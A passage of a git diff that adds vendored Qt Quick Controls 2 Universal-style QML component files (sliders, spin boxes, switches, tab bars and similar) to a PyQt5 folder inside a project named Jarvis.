licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.Slider { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitHandleWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitHandleHeight + topPadding + bottomPadding) + + padding: 6 + + property bool useSystemFocusVisuals: true + + handle: Rectangle { + implicitWidth: control.horizontal ? 8 : 24 + implicitHeight: control.horizontal ? 24 : 8 + + x: control.leftPadding + (control.horizontal ? control.visualPosition * (control.availableWidth - width) : (control.availableWidth - width) / 2) + y: control.topPadding + (control.horizontal ? (control.availableHeight - height) / 2 : control.visualPosition * (control.availableHeight - height)) + + radius: 4 + color: control.pressed ? control.Universal.chromeHighColor : + control.hovered ? control.Universal.chromeAltLowColor : + control.enabled ? control.Universal.accent : control.Universal.chromeDisabledHighColor + } + + background: Item { + implicitWidth: control.horizontal ? 200 : 18 + implicitHeight: control.horizontal ? 18 : 200 + + x: control.leftPadding + (control.horizontal ? 0 : (control.availableWidth - width) / 2) + y: control.topPadding + (control.horizontal ? (control.availableHeight - height) / 2 : 0) + width: control.horizontal ? control.availableWidth : implicitWidth + height: control.horizontal ? implicitHeight : control.availableHeight + + scale: control.horizontal && control.mirrored ? -1 : 1 + + Rectangle { + x: control.horizontal ? 0 : (parent.width - width) / 2 + y: control.horizontal ? (parent.height - height) / 2 : 0 + width: control.horizontal ? parent.width : 2 // SliderTrackThemeHeight + height: !control.horizontal ? parent.height : 2 // SliderTrackThemeHeight + + color: control.hovered && !control.pressed ? control.Universal.baseMediumColor : + control.enabled ? control.Universal.baseMediumLowColor : control.Universal.chromeDisabledHighColor + } + + Rectangle { + x: control.horizontal ? 0 : (parent.width - width) / 2 + y: control.horizontal ? (parent.height - height) / 2 : control.visualPosition * parent.height + width: control.horizontal ? control.position * parent.width : 2 // SliderTrackThemeHeight + height: !control.horizontal ? control.position * parent.height : 2 // SliderTrackThemeHeight + + color: control.enabled ? control.Universal.accent : control.Universal.chromeDisabledHighColor + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/SpinBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/SpinBox.qml new file mode 100644 index 00000000..dfe927f5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/SpinBox.qml @@ -0,0 +1,148 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Universal 2.12 + +T.SpinBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentItem.implicitWidth + 16 + + up.implicitIndicatorWidth + + down.implicitIndicatorWidth) + implicitHeight: Math.max(implicitContentHeight + topPadding + bottomPadding, + implicitBackgroundHeight, + up.implicitIndicatorHeight, + down.implicitIndicatorHeight) + + // TextControlThemePadding + 2 (border) + padding: 12 + topPadding: padding - 7 + leftPadding: padding + (control.mirrored ? (up.indicator ? up.indicator.width : 0) : (down.indicator ? down.indicator.width : 0)) + rightPadding: padding - 4 + (control.mirrored ? (down.indicator ? down.indicator.width : 0) : (up.indicator ? up.indicator.width : 0)) + bottomPadding: padding - 5 + + Universal.theme: activeFocus ? Universal.Light : undefined + + validator: IntValidator { + locale: control.locale.name + bottom: Math.min(control.from, control.to) + top: Math.max(control.from, control.to) + } + + contentItem: TextInput { + text: control.displayText + + font: control.font + color: !enabled ? control.Universal.chromeDisabledLowColor : + activeFocus ? control.Universal.chromeBlackHighColor : control.Universal.foreground + selectionColor: control.Universal.accent + selectedTextColor: control.Universal.chromeWhiteColor + horizontalAlignment: Qt.AlignHCenter + verticalAlignment: TextInput.AlignVCenter + + readOnly: !control.editable + validator: control.validator + inputMethodHints: control.inputMethodHints + } + + up.indicator: Item { + implicitWidth: 28 + height: parent.height + 4 + y: -2 + x: control.mirrored ? 0 : parent.width - width + + Rectangle { + x: 2; y: 4 + width: parent.width - 4 + height: parent.height - 8 + color: control.activeFocus ? control.Universal.accent : + control.up.pressed ? control.Universal.baseMediumLowColor : + control.up.hovered ? control.Universal.baseLowColor : "transparent" + visible: control.up.pressed || control.up.hovered + opacity: control.activeFocus && !control.up.pressed ? 0.4 : 1.0 + } + + ColorImage { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + color: !enabled ? control.Universal.chromeDisabledLowColor : + control.activeFocus ? control.Universal.chromeBlackHighColor : control.Universal.baseHighColor + source: "qrc:/qt-project.org/imports/QtQuick/Controls.2/Universal/images/" + (control.mirrored ? "left" : "right") + "arrow.png" + } + } + + down.indicator: Item { + implicitWidth: 28 + height: parent.height + 4 + y: -2 + x: control.mirrored ? parent.width - width : 0 + + Rectangle { + x: 2; y: 4 + width: parent.width - 4 + height: parent.height - 8 + color: control.activeFocus ? control.Universal.accent : + control.down.pressed ? control.Universal.baseMediumLowColor : + control.down.hovered ? control.Universal.baseLowColor : "transparent" + visible: control.down.pressed || control.down.hovered + opacity: control.activeFocus && !control.down.pressed ? 0.4 : 1.0 + } + + ColorImage { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + color: !enabled ? control.Universal.chromeDisabledLowColor : + control.activeFocus ? control.Universal.chromeBlackHighColor : control.Universal.baseHighColor + source: "qrc:/qt-project.org/imports/QtQuick/Controls.2/Universal/images/" + (control.mirrored ? "right" : "left") + "arrow.png" + } + } + + background: Rectangle { + implicitWidth: 60 + 28 // TextControlThemeMinWidth - 4 (border) + implicitHeight: 28 // TextControlThemeMinHeight - 4 (border) + + border.width: 2 // TextControlBorderThemeThickness + border.color: !control.enabled ? control.Universal.baseLowColor : + control.activeFocus ? control.Universal.accent : + control.hovered ? control.Universal.baseMediumColor : control.Universal.chromeDisabledLowColor + color: control.enabled ? control.Universal.background : control.Universal.baseLowColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/SplitView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/SplitView.qml new file mode 100644 index 00000000..a4ed22dd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/SplitView.qml @@ -0,0 +1,56 @@ +/**************************************************************************** +** +** Copyright (C) 2018 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.13 +import QtQuick.Templates 2.13 as T +import QtQuick.Controls 2.13 +import QtQuick.Controls.impl 2.13 +import QtQuick.Controls.Universal 2.13 + +T.SplitView { + id: control + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + handle: Rectangle { + implicitWidth: control.orientation === Qt.Horizontal ? 6 : control.width + implicitHeight: control.orientation === Qt.Horizontal ? control.height : 6 + color: T.SplitHandle.pressed ? control.Universal.baseMediumColor + : (T.SplitHandle.hovered ? control.Universal.baseMediumLowColor : control.Universal.chromeHighColor) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/StackView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/StackView.qml new file mode 100644 index 00000000..5a3f7751 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/StackView.qml @@ -0,0 +1,76 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.StackView { + id: control + + popEnter: Transition { + ParallelAnimation { + NumberAnimation { property: "opacity"; from: 0; to: 1; duration: 200; easing.type: Easing.InQuint } + NumberAnimation { property: "x"; from: (control.mirrored ? -0.3 : 0.3) * -control.width; to: 0; duration: 400; easing.type: Easing.OutCubic } + } + } + + popExit: Transition { + NumberAnimation { property: "opacity"; from: 1; to: 0; duration: 200; easing.type: Easing.OutQuint } + } + + pushEnter: Transition { + ParallelAnimation { + NumberAnimation { property: "opacity"; from: 0; to: 1; duration: 200; easing.type: Easing.InQuint } + NumberAnimation { property: "x"; from: (control.mirrored ? -0.3 : 0.3) * control.width; to: 0; duration: 400; easing.type: Easing.OutCubic } + } + } + + pushExit: Transition { + NumberAnimation { property: "opacity"; from: 1; to: 0; duration: 200; easing.type: Easing.OutQuint } + } + + replaceEnter: Transition { + ParallelAnimation { + NumberAnimation { property: "opacity"; from: 0; to: 1; duration: 200; easing.type: Easing.InQuint } + NumberAnimation { property: "x"; from: (control.mirrored ? -0.3 : 0.3) * control.width; to: 0; duration: 400; easing.type: Easing.OutCubic } + } + } + + replaceExit: Transition { + NumberAnimation { property: "opacity"; from: 1; to: 0; duration: 200; easing.type: Easing.OutQuint } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/SwipeDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/SwipeDelegate.qml new file mode 100644 index 00000000..066049a7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/SwipeDelegate.qml @@ -0,0 +1,93 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Universal 2.12 + +T.SwipeDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + spacing: 12 + + padding: 12 + topPadding: padding - 1 + bottomPadding: padding + 1 + + icon.width: 20 + icon.height: 20 + icon.color: Color.transparent(Universal.foreground, enabled ? 1.0 : 0.2) + + swipe.transition: Transition { SmoothedAnimation { velocity: 3; easing.type: Easing.InOutCubic } } + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: Color.transparent(control.Universal.foreground, enabled ? 1.0 : 0.2) + } + + background: Rectangle { + color: control.Universal.background + + Rectangle { + width: parent.width + height: parent.height + color: control.down ? control.Universal.listMediumColor : + control.hovered ? control.Universal.listLowColor : control.Universal.altMediumLowColor + Rectangle { + width: parent.width + height: parent.height + visible: control.visualFocus || control.highlighted + color: control.Universal.accent + opacity: control.Universal.theme === Universal.Light ? 0.4 : 0.6 + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Switch.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Switch.qml new file mode 100644 index 00000000..284b1229 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Switch.qml @@ -0,0 +1,74 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 +import QtQuick.Controls.Universal.impl 2.12 + +T.Switch { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 5 + spacing: 8 + + property bool useSystemFocusVisuals: true + + indicator: SwitchIndicator { + x: control.text ? (control.mirrored ? control.width - width - control.rightPadding : control.leftPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + control: control + } + + contentItem: Text { + leftPadding: control.indicator && !control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: control.indicator && control.mirrored ? control.indicator.width + control.spacing : 0 + + text: control.text + font: control.font + elide: Text.ElideRight + verticalAlignment: Text.AlignVCenter + + opacity: enabled ? 1.0 : 0.2 + color: control.Universal.foreground + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/SwitchDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/SwitchDelegate.qml new file mode 100644 index 00000000..56ba8494 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/SwitchDelegate.qml @@ -0,0 +1,97 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Universal 2.12 +import QtQuick.Controls.Universal.impl 2.12 + +T.SwitchDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + spacing: 12 + + padding: 12 + topPadding: padding - 1 + bottomPadding: padding + 1 + + icon.width: 20 + icon.height: 20 + icon.color: Color.transparent(Universal.foreground, enabled ? 1.0 : 0.2) + + indicator: SwitchIndicator { + x: control.text ? (control.mirrored ? control.leftPadding : control.width - width - control.rightPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + control: control + } + + contentItem: IconLabel { + leftPadding: !control.mirrored ? 0 : control.indicator.width + control.spacing + rightPadding: control.mirrored ? 0 : control.indicator.width + control.spacing + + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: Color.transparent(control.Universal.foreground, enabled ? 1.0 : 0.2) + } + + background: Rectangle { + visible: control.down || control.highlighted || control.visualFocus || control.hovered + color: control.down ? control.Universal.listMediumColor : + control.hovered ? control.Universal.listLowColor : control.Universal.altMediumLowColor + Rectangle { + width: parent.width + height: parent.height + visible: control.visualFocus || control.highlighted + color: control.Universal.accent + opacity: control.Universal.theme === Universal.Light ? 0.4 : 0.6 + } + + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/SwitchIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/SwitchIndicator.qml new file mode 100644 index 00000000..10f39515 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/SwitchIndicator.qml @@ -0,0 +1,81 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +Item { + id: indicator + implicitWidth: 44 + implicitHeight: 20 + + Rectangle { + width: parent.width + height: parent.height + + radius: 10 + color: !indicator.control.enabled ? "transparent" : + indicator.control.pressed ? indicator.control.Universal.baseMediumColor : + indicator.control.checked ? indicator.control.Universal.accent : "transparent" + border.color: !indicator.control.enabled ? indicator.control.Universal.baseLowColor : + indicator.control.checked && !indicator.control.pressed ? indicator.control.Universal.accent : + indicator.control.hovered && !indicator.control.checked && !indicator.control.pressed ? indicator.control.Universal.baseHighColor : indicator.control.Universal.baseMediumColor + opacity: indicator.control.hovered && indicator.control.checked && !indicator.control.pressed ? (indicator.control.Universal.theme === Universal.Light ? 0.7 : 0.9) : 1.0 + border.width: 2 + } + + property Item control + + Rectangle { + width: 10 + height: 10 + radius: 5 + + color: !indicator.control.enabled ? indicator.control.Universal.baseLowColor : + indicator.control.pressed || indicator.control.checked ? indicator.control.Universal.chromeWhiteColor : + indicator.control.hovered && !indicator.control.checked ? indicator.control.Universal.baseHighColor : indicator.control.Universal.baseMediumHighColor + + x: Math.max(5, Math.min(parent.width - width - 5, + indicator.control.visualPosition * parent.width - (width / 2))) + y: (parent.height - height) / 2 + + Behavior on x { + enabled: !indicator.control.pressed + SmoothedAnimation { velocity: 200 } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/TabBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/TabBar.qml new file mode 100644 index 00000000..c7d27cbd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/TabBar.qml @@ -0,0 +1,70 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.TabBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + contentItem: ListView { + model: control.contentModel + currentIndex: control.currentIndex + + spacing: control.spacing + orientation: ListView.Horizontal + boundsBehavior: Flickable.StopAtBounds + flickableDirection: Flickable.AutoFlickIfNeeded + snapMode: ListView.SnapToItem + + highlightMoveDuration: 100 + highlightRangeMode: ListView.ApplyRange + preferredHighlightBegin: 48 + preferredHighlightEnd: width - 48 + } + + background: Rectangle { + implicitWidth: 200 + implicitHeight: 48 + color: control.Universal.background + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/TabButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/TabButton.qml new file mode 100644 index 00000000..66e3d725 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/TabButton.qml @@ -0,0 +1,70 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Universal 